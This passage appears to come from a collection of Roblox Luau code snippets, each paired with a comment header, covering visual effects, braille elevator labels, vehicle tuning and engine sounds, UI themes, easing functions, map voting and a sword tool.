velE.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
velE.Name = "SmallMoveVel"
game.Debris:AddItem(velE,17)
end
end
end
wait(4)
anim:stop()
wait(13)
local hitcontent = workspace:GetPartBoundsInBox(DM.CFrame, Vector3.new(300, 300, 300))
local hitlist = {}
for _,v in pairs(hitcontent) do
if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
if not hitlist[v.Parent.Humanoid] then
hitlist[v.Parent.Humanoid] = true
local RootPart2 = v.Parent.HumanoidRootPart
RootPart2.CFrame = DB.CFrame * CFrame.new(0,0,0)
end
end
end
RootPart.CFrame = DB.CFrame * CFrame.new(0,0,0)
end)
|
--Small tip: You don't need to use actual Roblox Attachments below. You can also create "fake" ones as follows:
--[[
local A1, A2 = {}, {}
A1.WorldPosition, A1.WorldAxis = chosenPos1, chosenAxis1
A2.WorldPosition, A2.WorldAxis = chosenPos2, chosenAxis2
local NewBolt = LightningBolt.new(A1, A2, 40)
--]]
|
function LightningBolt.new(Attachment0, Attachment1, PartCount)
local self = setmetatable({}, LightningBolt)
--Main (default) Properties--
--Bolt Appearance Properties--
self.Enabled = true --Hides bolt without destroying any parts when false
self.Attachment0, self.Attachment1 = Attachment0, Attachment1 --Bolt originates from Attachment0 and ends at Attachment1
self.CurveSize0, self.CurveSize1 = 0, 0 --Works similarly to beams. See https://dk135eecbplh9.cloudfront.net/assets/blt160ad3fdeadd4ff2/BeamCurve1.png
self.MinRadius, self.MaxRadius = 0, 2.4 --Governs the amplitude of fluctuations throughout the bolt
self.Frequency = 2 --Governs the frequency of fluctuations throughout the bolt. Lower this to remove jittery-looking lightning
self.AnimationSpeed = 7 --Governs how fast the bolt oscillates (i.e. how fast the fluctuating wave travels along bolt)
self.Thickness = 1 --The thickness of the bolt
self.MinThicknessMultiplier, self.MaxThicknessMultiplier = 0.2, 1 --Multiplies Thickness value by a fluctuating random value between MinThicknessMultiplier and MaxThicknessMultiplier along the Bolt
--Bolt Kinetic Properties--
--Allows for fading in (or out) of the bolt with time. Can also create a "projectile" bolt
--Recommend setting AnimationSpeed to 0 if used as projectile (for better aesthetics)
--Works by passing a "wave" function which travels from left to right where the wave height represents opacity (opacity being 1 - Transparency)
--See https://www.desmos.com/calculator/hg5h4fpfim to help customise the shape of the wave with the below properties
self.MinTransparency, self.MaxTransparency = 0, 1 --See https://www.desmos.com/calculator/hg5h4fpfim
self.PulseSpeed = 10 --Bolt arrives at Attachment1 1/PulseSpeed seconds later. See https://www.desmos.com/calculator/hg5h4fpfim
self.PulseLength = 1000000 --See https://www.desmos.com/calculator/hg5h4fpfim
self.FadeLength = 0.2 --See https://www.desmos.com/calculator/hg5h4fpfim
self.ContractFrom = 0.5 --Parts shorten or grow once their Transparency exceeds this value. Set to a value above 1 to turn effect off. See https://imgur.com/OChA441
--Bolt Color Properties--
self.Color = Color3.new(1, 1, 1) --Can be a Color3 or ColorSequence
self.ColorOffsetSpeed = 3 --Sets speed at which ColorSequence travels along Bolt
--
self.Parts = {} --The BoltParts which make up the Bolt
local a0, a1 = Attachment0, Attachment1
local parent = workspace.CurrentCamera
local p0, p1, p2, p3 = a0.WorldPosition, a0.WorldPosition + a0.WorldAxis*self.CurveSize0, a1.WorldPosition - a1.WorldAxis*self.CurveSize1, a1.WorldPosition
local PrevPoint, bezier0 = p0, p0
local MainBranchN = PartCount or 30
for i = 1, MainBranchN do
local t1 = i/MainBranchN
local bezier1 = CubicBezier(p0, p1, p2, p3, t1)
local NextPoint = i ~= MainBranchN and (CFrame.lookAt(bezier0, bezier1)).Position or bezier1
local BPart = BoltPart:Clone()
BPart.Size = Vector3.new((NextPoint - PrevPoint).Magnitude, 0, 0)
BPart.CFrame = CFrame.lookAt(0.5*(PrevPoint + NextPoint), NextPoint)*xInverse
BPart.Parent = parent
BPart.Locked, BPart.CastShadow = true, false
self.Parts[i] = BPart
PrevPoint, bezier0 = NextPoint, bezier1
end
self.PartsHidden = false
self.DisabledTransparency = 1
self.StartT = clock()
self.RanNum = math.random()*100
self.RefIndex = #ActiveBranches + 1
ActiveBranches[self.RefIndex] = self
return self
end
function LightningBolt:Destroy()
ActiveBranches[self.RefIndex] = nil
for i = 1, #self.Parts do
self.Parts[i]:Destroy()
if i%100 == 0 then wait() end
end
self = nil
end
local offsetAngle = math.cos(math.rad(90))
game:GetService("RunService").Heartbeat:Connect(function ()
for _, ThisBranch in pairs(ActiveBranches) do
if ThisBranch.Enabled == true then
ThisBranch.PartsHidden = false
local MinOpa, MaxOpa = 1 - ThisBranch.MaxTransparency, 1 - ThisBranch.MinTransparency
local MinRadius, MaxRadius = ThisBranch.MinRadius, ThisBranch.MaxRadius
local thickness = ThisBranch.Thickness
local Parts = ThisBranch.Parts
local PartsN = #Parts
local RanNum = ThisBranch.RanNum
local StartT = ThisBranch.StartT
local spd = ThisBranch.AnimationSpeed
local freq = ThisBranch.Frequency
local MinThick, MaxThick = ThisBranch.MinThicknessMultiplier, ThisBranch.MaxThicknessMultiplier
local a0, a1, CurveSize0, CurveSize1 = ThisBranch.Attachment0, ThisBranch.Attachment1, ThisBranch.CurveSize0, ThisBranch.CurveSize1
local p0, p1, p2, p3 = a0.WorldPosition, a0.WorldPosition + a0.WorldAxis*CurveSize0, a1.WorldPosition - a1.WorldAxis*CurveSize1, a1.WorldPosition
local timePassed = clock() - StartT
local PulseLength, PulseSpeed, FadeLength = ThisBranch.PulseLength, ThisBranch.PulseSpeed, ThisBranch.FadeLength
local Color = ThisBranch.Color
local ColorOffsetSpeed = ThisBranch.ColorOffsetSpeed
local contractf = 1 - ThisBranch.ContractFrom
local PrevPoint, bezier0 = p0, p0
if timePassed < (PulseLength + 1) / PulseSpeed then
for i = 1, PartsN do
--local spd = NoiseBetween(i/PartsN, 1.5, 0.1*i/PartsN, -MinAnimationSpeed, MaxAnimationSpeed) --Can enable to have an alternative animation which doesn't shift the noisy lightning "Texture" along the bolt
local BPart = Parts[i]
local t1 = i/PartsN
local Opacity = DiscretePulse(t1, PulseSpeed, PulseLength, FadeLength, timePassed, MinOpa, MaxOpa)
local bezier1 = CubicBezier(p0, p1, p2, p3, t1)
local time = -timePassed --minus to ensure bolt waves travel from a0 to a1
local input, input2 = (spd*time) + freq*10*t1 - 0.2 + RanNum*4, 5*((spd*0.01*time) / 10 + freq*t1) + RanNum*4
local noise0 = NoiseBetween(5*input, 1.5, 5*0.2*input2, 0, 0.1*2*math.pi) + NoiseBetween(0.5*input, 1.5, 0.5*0.2*input2, 0, 0.9*2*math.pi)
local noise1 = NoiseBetween(3.4, input2, input, MinRadius, MaxRadius)*math.exp(-5000*(t1 - 0.5)^10)
local thicknessNoise = NoiseBetween(2.3, input2, input, MinThick, MaxThick)
local NextPoint = i ~= PartsN and (CFrame.new(bezier0, bezier1)*CFrame.Angles(0, 0, noise0)*CFrame.Angles(math.acos(math.clamp(NoiseBetween(input2, input, 2.7, offsetAngle, 1), -1, 1)), 0, 0)*CFrame.new(0, 0, -noise1)).Position or bezier1
if Opacity > contractf then
BPart.Size = Vector3.new((NextPoint - PrevPoint).Magnitude, thickness*thicknessNoise*Opacity, thickness*thicknessNoise*Opacity)
BPart.CFrame = CFrame.lookAt(0.5*(PrevPoint + NextPoint), NextPoint)*xInverse
BPart.Transparency = 1 - Opacity
elseif Opacity > contractf - 1/(PartsN*FadeLength) then
local interp = (1 - (Opacity - (contractf - 1/(PartsN*FadeLength)))*PartsN*FadeLength)*(t1 < timePassed*PulseSpeed - 0.5*PulseLength and 1 or -1)
BPart.Size = Vector3.new((1 - math.abs(interp))*(NextPoint - PrevPoint).Magnitude, thickness*thicknessNoise*Opacity, thickness*thicknessNoise*Opacity)
BPart.CFrame = CFrame.lookAt(PrevPoint + (NextPoint - PrevPoint)*(math.max(0, interp) + 0.5*(1 - math.abs(interp))), NextPoint)*xInverse
BPart.Transparency = 1 - Opacity
else
BPart.Transparency = 1
end
if typeof(Color) == "Color3" then
BPart.Color = Color
else --ColorSequence
t1 = (RanNum + t1 - timePassed*ColorOffsetSpeed)%1
local keypoints = Color.Keypoints
for i = 1, #keypoints - 1 do --convert colorsequence onto lightning
if keypoints[i].Time < t1 and t1 < keypoints[i+1].Time then
BPart.Color = keypoints[i].Value:lerp(keypoints[i+1].Value, (t1 - keypoints[i].Time)/(keypoints[i+1].Time - keypoints[i].Time))
break
end
end
end
PrevPoint, bezier0 = NextPoint, bezier1
end
else
ThisBranch:Destroy()
end
else --Enabled = false
if ThisBranch.PartsHidden == false then
ThisBranch.PartsHidden = true
local datr = ThisBranch.DisabledTransparency
for i = 1, #ThisBranch.Parts do
ThisBranch.Parts[i].Transparency = datr
end
end
end
end
end)
return LightningBolt
|
-- BrailleGen 3D BETA
|
Align = true
This = script.Parent
Btn = This.Parent
Lift = Btn.Parent.Parent.Parent
Config = require(Lift.CustomLabel)
Characters = require(script.Characters)
CustomLabel = Config["CUSTOMFLOORLABEL"][tonumber(Btn.Name)]
function ChangeFloor(SF)
if Align == true then
if string.len(SF) == 1 then
SetLabel(1,SF,0.045)
SetLabel(2,"NIL",0)
SetLabel(3,"NIL",0)
SetLabel(4,"NIL",0)
elseif string.len(SF) == 2 then
SetLabel(1,SF:sub(1,1),0.03)
SetLabel(2,SF:sub(2,2),0.03)
SetLabel(3,"NIL",0)
SetLabel(4,"NIL",0)
elseif string.len(SF) == 3 then
SetLabel(1,SF:sub(1,1),0.015)
SetLabel(2,SF:sub(2,2),0.015)
SetLabel(3,SF:sub(3,3),0.015)
SetLabel(4,"NIL",0)
elseif string.len(SF) == 4 then
SetLabel(1,SF:sub(1,1),0)
SetLabel(2,SF:sub(2,2),0)
SetLabel(3,SF:sub(3,3),0)
SetLabel(4,SF:sub(4,4),0)
end
else
if string.len(SF) == 1 then
SetLabel(1,SF,0)
SetLabel(2,"NIL",0)
SetLabel(3,"NIL",0)
SetLabel(4,"NIL",0)
elseif string.len(SF) == 2 then
SetLabel(1,SF:sub(1,1),0)
SetLabel(2,SF:sub(2,2),0)
SetLabel(3,"NIL",0)
SetLabel(4,"NIL",0)
elseif string.len(SF) == 3 then
SetLabel(1,SF:sub(1,1),0)
SetLabel(2,SF:sub(2,2),0)
SetLabel(3,SF:sub(3,3),0)
SetLabel(4,"NIL",0)
elseif string.len(SF) == 4 then
SetLabel(1,SF:sub(1,1),0)
SetLabel(2,SF:sub(2,2),0)
SetLabel(3,SF:sub(3,3),0)
SetLabel(4,SF:sub(4,4),0)
end
end
end
function SetLabel(ID,CHAR,OFFSET)
if This:FindFirstChild("BR"..ID) and Characters[CHAR] ~= nil then
for i,l in pairs(Characters[CHAR]) do
This["BR"..ID].Mesh.MeshId = "rbxassetid://"..l
end
if CHAR == "A" or CHAR == "1" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.014)
elseif CHAR == "B" or CHAR == "2" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.006)
elseif CHAR == "C" or CHAR == "3" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.014)
elseif CHAR == "D" or CHAR == "4" or CHAR == "E" or CHAR == "5" or CHAR == "F" or CHAR == "6" or CHAR == "G" or CHAR == "7" or CHAR == "H" or CHAR == "8" or CHAR == "I" or CHAR == "9" or CHAR == "J" or CHAR == "0" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.006)
elseif CHAR == "K" or CHAR == "L" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, 0)
elseif CHAR == "." or CHAR == "+" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)
elseif CHAR == "-" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.014)
elseif CHAR == ";" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)
elseif CHAR == "*" then
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET+0.006, 0, 0)
else
This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0)
end
end
end
ChangeFloor("OP")
script:Destroy()
|
--[[Weight and CG]]
|
Tune.Weight = 3000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 17.2 }
Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- Unanchores all parts in a weld list.
|
function UnanchorWeldList(weldList)
for i,v in pairs(weldList) do
v.Part0.Anchored = false
v.Part1.Anchored = false
end
end
|
--chr.PrimaryPart:WaitForChild("Died"):Destroy()
|
local folder = script:WaitForChild("Sounds")
local soundsDes = folder:GetChildren()
for i = 1, #soundsDes do
maxLines = #soundsDes
end
local canPlay = true
local function died()
local ranNo = math.random(1, maxLines)
local str = tostring(ranNo)
folder[str]:Play()
if folder[str]:FindFirstChild("Effect") then
local effect = folder[str].Effect
local clone = effect:Clone()
clone.Parent = chr.PrimaryPart
clone.Disabled = false
end
end
chr:WaitForChild("Humanoid").Died:Connect(died)
|
--[[
This file is necessary for constructing the default Icon template
Do not remove this module otherwise TopbarPlus will break
Modifying this file may also cause TopbarPlus to break
It's recommended instead to create a separate theme module and use that instead
To apply your theme after creating it, do:
```lua
local IconController = require(pathway.to.IconController)
local Themes = require(pathway.to.Themes)
IconController.setGameTheme(Themes.YourThemeName)
```
or by applying to an individual icon:
```lua
local Icon = require(pathway.to.Icon)
local Themes = require(pathway.to.Themes)
local newIcon = Icon.new()
:setTheme(Themes.YourThemeName)
```
--]]
|
return {
-- Settings which describe how an item behaves or transitions between states
action = {
toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
},
-- Settings which describe how an item appears when 'deselected' and 'selected'
toggleable = {
-- How items appear normally (i.e. when they're 'deselected')
deselected = {
iconBackgroundColor = Color3.fromRGB(0, 0, 0),
iconBackgroundTransparency = 0.5,
iconCornerRadius = UDim.new(0.25, 0),
iconGradientColor = ColorSequence.new(Color3.fromRGB(255, 255, 255)),
iconGradientRotation = 0,
iconImage = "",
iconImageColor =Color3.fromRGB(255, 255, 255),
iconImageTransparency = 0,
iconImageYScale = 0.63,
iconImageRatio = 1,
iconLabelYScale = 0.45,
iconScale = UDim2.new(1, 0, 1, 0),
iconSize = UDim2.new(0, 32, 0, 32),
iconOffset = UDim2.new(0, 0, 0, 0),
iconText = "",
iconTextColor = Color3.fromRGB(255, 255, 255),
iconFont = Enum.Font.GothamSemibold,
noticeCircleColor = Color3.fromRGB(255, 255, 255),
noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969",
noticeTextColor = Color3.fromRGB(31, 33, 35),
baseZIndex = 1,
order = 1,
alignment = "left",
clickSoundId = "rbxassetid://5273899897",
clickVolume = 0,
clickPlaybackSpeed = 1,
clickTimePosition = 0.12
},
-- How items appear after the icon has been clicked (i.e. when they're 'selected')
-- If a selected value is not specified, it will default to the deselected value
selected = {
iconBackgroundColor = Color3.fromRGB(245, 245, 245),
iconBackgroundTransparency = 0.1,
iconImageColor = Color3.fromRGB(57, 60, 65),
iconTextColor = Color3.fromRGB(57, 60, 65),
clickPlaybackSpeed = 1.5,
}
},
-- Settings where toggleState doesn't matter (they have a singular state)
other = {
-- Caption settings
captionBackgroundColor = Color3.fromRGB(0, 0, 0),
captionBackgroundTransparency = 0.5,
captionTextColor = Color3.fromRGB(255, 255, 255),
captionTextTransparency = 0,
captionFont = Enum.Font.GothamSemibold,
captionOverlineColor = Color3.fromRGB(0, 170, 255),
captionOverlineTransparency = 0,
captionCornerRadius = UDim.new(0.25, 0),
-- Tip settings
tipBackgroundColor = Color3.fromRGB(255, 255, 255),
tipBackgroundTransparency = 0.1,
tipTextColor = Color3.fromRGB(27, 42, 53),
tipTextTransparency = 0,
tipFont = Enum.Font.GothamSemibold,
tipCornerRadius = UDim.new(0.175, 0),
-- Dropdown settings
dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment)
dropdownMaxIconsBeforeScroll = 3,
dropdownMinWidth = 32,
dropdownSquareCorners = false,
dropdownBindToggleToIcon = true,
dropdownToggleOnLongPress = false,
dropdownToggleOnRightClick = false,
dropdownCloseOnTapAway = false,
dropdownHidePlayerlistOnOverlap = true,
dropdownListPadding = UDim.new(0, 2),
dropdownScrollBarColor = Color3.fromRGB(25, 25, 25),
dropdownScrollBarTransparency = 0.2,
dropdownScrollBarThickness = 4,
-- Menu settings
menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left')
menuMaxIconsBeforeScroll = 4,
menuBindToggleToIcon = true,
menuToggleOnLongPress = false,
menuToggleOnRightClick = false,
menuCloseOnTapAway = false,
menuScrollBarColor = Color3.fromRGB(25, 25, 25),
menuScrollBarTransparency = 0.2,
menuScrollBarThickness = 4,
},
}
|
-- After the voting period, determine the map with the highest count
|
local function determineWinningMap()
local highestVotes = 0
local winningMap = ""
for map, votes in pairs(mapVotes) do
if votes > highestVotes then
highestVotes = votes
winningMap = map
end
end
-- Load the game with the winning map
print("The winning map is: " .. winningMap)
game.ReplicatedStorage.VotingEnded:FireServer(winningMap)
-- Load the winning map using your game's specific logic
end
|
--[[Steering]]
|
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .05 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Name = "get-player-place-instance",
Aliases = {},
Description = "Returns the target player's Place ID and the JobId separated by a space. Returns 0 if the player is offline or something else goes wrong.",
Group = "DefaultDebug",
Args = { {
Type = "playerId",
Name = "Player",
Description = "Get the place instance of this player"
}, function(p1)
return {
Type = p1.Cmdr.Util.MakeEnumType("PlaceInstance Format", { "PlaceIdJobId", "PlaceId", "JobId" }),
Name = "Format",
Description = "What data to return. PlaceIdJobId returns both separated by a space.",
Default = "PlaceIdJobId"
};
end }
};
|
--Creates a display Gui for the soft shutdown.
|
return function()
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SoftShutdownGui"
ScreenGui.DisplayOrder = 100
--Create background to cover behind top bar.
local Frame = Instance.new("Frame")
Frame.BackgroundColor3 = Color3.new(0,170/255,1)
Frame.Position = UDim2.new(-0.5,0,-0.5,0)
Frame.Size = UDim2.new(2,0,2,0)
Frame.ZIndex = 10
Frame.Parent = ScreenGui
local function CreateTextLabel(Size,Position,Text)
local TextLabel = Instance.new("TextLabel")
TextLabel.BackgroundTransparency = 1
TextLabel.Size = Size
TextLabel.Position = Position
TextLabel.Text = Text
TextLabel.ZIndex = 10
TextLabel.Font = "Cartoon"
TextLabel.TextScaled = true
TextLabel.TextColor3 = Color3.new(1,1,1)
TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
TextLabel.TextStrokeTransparency = 0
TextLabel.Parent = Frame
end
--Create text.
CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION")
CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated")
CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait")
--Return the ScreenGui and the background.
return ScreenGui,Frame
end
|
--this part manages the local script
|
local addMyLocalScript = function(player)
local localScript = script.ROBLOXInteraction:Clone()
local backpack = player:WaitForChild("Backpack")
if not player:WaitForChild("Backpack"):FindFirstChild("ROBLOXInteraction") then
localScript.Parent = player.Backpack
end
end
local addScriptAtRespawn = function(player)--when a player respawns, give them the script
player.CharacterAdded:connect(function() addMyLocalScript(player) end)
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,0,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (on*(4*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
-- a: amplitud
-- p: period
|
local function outInElastic(t,a,p, b, c, d)
b,c,d = default(b,c,d)
b,c,d = default(b,c,d)
if t < d / 2 then
return outElastic(t * 2, b, c / 2, d, a, p)
else
return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p)
end
end
local function inBack(t, s,b, c, d)
b,c,d = default(b,c,d)
if not s then s = 1.70158 end
t = t / d
return c * t * t * ((s + 1) * t - s) + b
end
local function outBack(t, b, c, d, s)
b,c,d = default(b,c,d)
if not s then s = 1.70158 end
t = t / d - 1
return c * (t * t * ((s + 1) * t + s) + 1) + b
end
local function inOutBack(t,s, b, c, d)
b,c,d = default(b,c,d)
if not s then s = 1.70158 end
s = s * 1.525
t = t / d * 2
if t < 1 then
return c / 2 * (t * t * ((s + 1) * t - s)) + b
else
t = t - 2
return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b
end
end
local function outInBack(t,s, b, c, d)
b,c,d = default(b,c,d)
if t < d / 2 then
return outBack(t * 2, b, c / 2, d, s)
else
return inBack((t * 2) - d, b + c / 2, c / 2, d, s)
end
end
local function outBounce(t, b, c, d)
b,c,d = default(b,c,d)
t = t / d
if t < 1 / 2.75 then
return c * (7.5625 * t * t) + b
elseif t < 2 / 2.75 then
t = t - (1.5 / 2.75)
return c * (7.5625 * t * t + 0.75) + b
elseif t < 2.5 / 2.75 then
t = t - (2.25 / 2.75)
return c * (7.5625 * t * t + 0.9375) + b
else
t = t - (2.625 / 2.75)
return c * (7.5625 * t * t + 0.984375) + b
end
end
local function inBounce(t, b, c, d)
b,c,d = default(b,c,d)
return c - outBounce(d - t, 0, c, d) + b
end
local function inOutBounce(t, b, c, d)
b,c,d = default(b,c,d)
if t < d / 2 then
return inBounce(t * 2, 0, c, d) * 0.5 + b
else
return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b
end
end
local function outInBounce(t, b, c, d)
b,c,d = default(b,c,d)
if t < d / 2 then
return outBounce(t * 2, b, c / 2, d)
else
return inBounce((t * 2) - d, b + c / 2, c / 2, d)
end
end
module = {
Linear = linear,
InQuad = inQuad,
OutQuad = outQuad,
InOutQuad = inOutQuad,
OutInQuad = outInQuad,
InCubic = inCubic ,
OutCubic = outCubic,
InOutCubic = inOutCubic,
OutInCubic = outInCubic,
InQuart = inQuart,
OutQuart = outQuart,
InOutQuart = inOutQuart,
OutInQuart = outInQuart,
InQuint = inQuint,
OutQuint = outQuint,
InOutQuint = inOutQuint,
OutInQuint = outInQuint,
InSine = inSine,
OutSine = outSine,
InOutSine = inOutSine,
OutInSine = outInSine,
InExpo = inExpo,
OutExpo = outExpo,
InOutExpo = inOutExpo,
OutInExpo = outInExpo,
InCirc = inCirc,
OutCirc = outCirc,
InOutCirc = inOutCirc,
OutInCirc = outInCirc,
InElastic = inElastic,
OutElastic = outElastic,
InOutElastic = inOutElastic,
OutInElastic = outInElastic,
InBack = inBack,
OutBack = outBack,
InOutBack = inOutBack,
OutInBack = outInBack,
InBounce = inBounce,
OutBounce = outBounce,
InOutBounce = inOutBounce,
OutInBounce = outInBounce,
}
return module
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
RunAnim = Tool:WaitForChild("RunAnim")
Returned = Tool:WaitForChild("Returned")
ProjectileScript = script:WaitForChild("ProjectileScript")
StandardC1 = CFrame.new(-0.5, 0.5, 0) * CFrame.Angles(0, (math.pi / 2), 0)
RunAnim.Value = ""
OriginalGrip = Tool.Grip
CurrentGrip = OriginalGrip
Debris = game:GetService("Debris")
Players = game:GetService("Players")
function SwordUp()
CurrentGrip = OriginalGrip
end
function SwordOut()
CurrentGrip = OriginalGrip * CFrame.Angles((math.pi / 4), 0.4, 0)
end
function SpinSword(SpinTime)
Spawn(function()
local StartSpin = tick()
local EndSpin = StartSpin + SpinTime
while tick() < EndSpin do
Tool.Grip = CurrentGrip * CFrame.Angles(math.pi * 2 * ((tick() - StartSpin) / SpinTime), 0, 0)
wait()
end
Tool.Grip = CurrentGrip
end)
end
Tool.Equipped:connect(function(Mouse)
Equipped = true
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso")
RightShoulder = Torso:FindFirstChild("Right Shoulder")
local CurrentLast = LastEquipped
Mouse.KeyDown:connect(function(Key)
local Key = Key:lower()
if Key == "q" and Tool.Enabled then
if Player and Character and Humanoid and Torso and RightShoulder and Returned.Value then
Tool.Enabled = false
Returned.Value = false
for i = 1, 15 do
RightShoulder.C1 = StandardC1 * CFrame.Angles(0, 0, (-i * (math.pi / 30)))
wait()
end
wait(0.1)
TargetPoint = Humanoid.TargetPoint
TargetDir = Torso.CFrame:pointToObjectSpace(TargetPoint) - Vector3.new(1, 0.5, 0)
TargetVertAngle = math.atan(TargetDir.Y / TargetDir.Z)
if TargetDir.Z > 0 then
if TargetDir.X > 0 then
TargetHorAngle = (math.pi / 2)
else
TargetHorAngle = (-math.pi / 2)
end
else
TargetHorAngle = math.atan(TargetDir.X / TargetDir.magnitude)
end
for i = 1, 5 do
wait()
RightShoulder.C1 = StandardC1 * CFrame.Angles((i * (TargetHorAngle / 5)), 0, (((i - 5) * (math.pi / 10)) + (i * (TargetVertAngle / 5))))
end
ProjectileScriptClone = ProjectileScript:Clone()
ProjectileScriptClone.TargetPos.Value = Humanoid.TargetPoint
ProjectileScriptClone.Disabled = false
ProjectileScriptClone.Parent = Tool
wait(0.2)
for i = 10, 0, -1 do
wait()
RightShoulder.C1 = StandardC1 * CFrame.Angles((i * (TargetHorAngle / 10)), 0, 0)
end
else
Tool.Enabled = true
end
end
end)
if not Tool.Enabled then
wait(5)
Tool.Enabled = true
end
end)
Tool.Unequipped:connect(function()
Equipped = false
Handle.Transparency = 0.0
if RightShoulder then
RightShoulder.C1 = StandardC1
end
end)
RunAnim.Changed:connect(function()
local Anim = Tool:FindFirstChild(RunAnim.Value)
if Anim and Humanoid then
TheAnim = Humanoid:LoadAnimation(Anim)
if TheAnim and Humanoid.Health > 0 then
TheAnim:Play()
if RunAnim.Value == "RightSlash" or RunAnim.Value == "LeftSlash" or RunAnim.Value == "OverHeadSwing" then
SpinSword(0.5)
end
if RunAnim.Value == "OverHeadSwing" then
wait(0.25)
SwordOut()
wait(0.5)
SwordUp()
Tool.Grip = CurrentGrip
elseif RunAnim.Value == "OverHeadSwingFast" then
wait(0.125)
SwordOut()
wait(0.25)
